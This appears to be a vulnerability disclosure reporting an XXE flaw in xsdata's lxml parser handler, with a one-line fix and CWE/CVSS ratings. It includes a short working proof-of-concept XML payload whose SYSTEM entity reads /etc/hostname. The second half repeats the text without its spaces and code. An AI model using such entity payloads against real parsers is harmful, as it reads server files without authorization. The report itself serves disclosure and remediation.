LxmlEventHandler.parse() in xsdata/formats/dataclass/parsers/handlers/lxml.py calls etree.iterparse() without resolve_entities=False. this means any application using xsdata with lxml to parse untrusted XML is vulnerable to XXE (external entity injection), allowing an attacker to read arbitrary files from the server.
the call site (around line 34-40):
ctx = etree.iterparse(
source,
EVENTS,
recover=True,
remove_comments=True,
load_dtd=self.parser.config.load_dtd,
)
load_dtd=False does NOT prevent entity resolution — it only controls whether an external DTD file is fetched. iterparse() resolves SYSTEM entities by default regardless of load_dtd. this is a common misconception in lxml usage.
confirmed through python-iso20022 (which uses xsdata): a pacs.008 payment message with <!ENTITY xxe SYSTEM "file:///etc/hostname"> in the RemittanceInformation field successfully exfiltrates the file contents.
poc:
from lxml import etree
from io import BytesIO
xml = b"""<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<Document><Payload>&xxe;</Payload></Document>"""
# this is what xsdata does internally:
ctx = etree.iterparse(BytesIO(xml), events=("start", "end"), recover=True, remove_comments=True)
for event, elem in ctx:
if event == "end" and "Payload" in elem.tag:
print(f"exfiltrated: {elem.text}") # prints hostname
fix — one line:
ctx = etree.iterparse(
source,
EVENTS,
recover=True,
remove_comments=True,
load_dtd=self.parser.config.load_dtd,
resolve_entities=False, # add this
)
this should be the default for any XML parser handling untrusted input. the resolve_entities=False flag tells lxml's iterparse to leave entity references as-is instead of resolving them to their replacement text.
CWE-611 (Improper Restriction of XML External Entity Reference). CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
LxmlEventHandler.parse()inxsdata/formats/dataclass/parsers/handlers/lxml.pycallsetree.iterparse()withoutresolve_entities=False. this means any application using xsdata with lxml to parse untrusted XML is vulnerable to XXE (external entity injection), allowing an attacker to read arbitrary files from the server.the call site (around line 34-40):
load_dtd=Falsedoes NOT prevent entity resolution — it only controls whether an external DTD file is fetched.iterparse()resolves SYSTEM entities by default regardless ofload_dtd. this is a common misconception in lxml usage.confirmed through python-iso20022 (which uses xsdata): a pacs.008 payment message with
<!ENTITY xxe SYSTEM "file:///etc/hostname">in the RemittanceInformation field successfully exfiltrates the file contents.poc:
fix — one line:
this should be the default for any XML parser handling untrusted input. the
resolve_entities=Falseflag tells lxml's iterparse to leave entity references as-is instead of resolving them to their replacement text.CWE-611 (Improper Restriction of XML External Entity Reference). CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).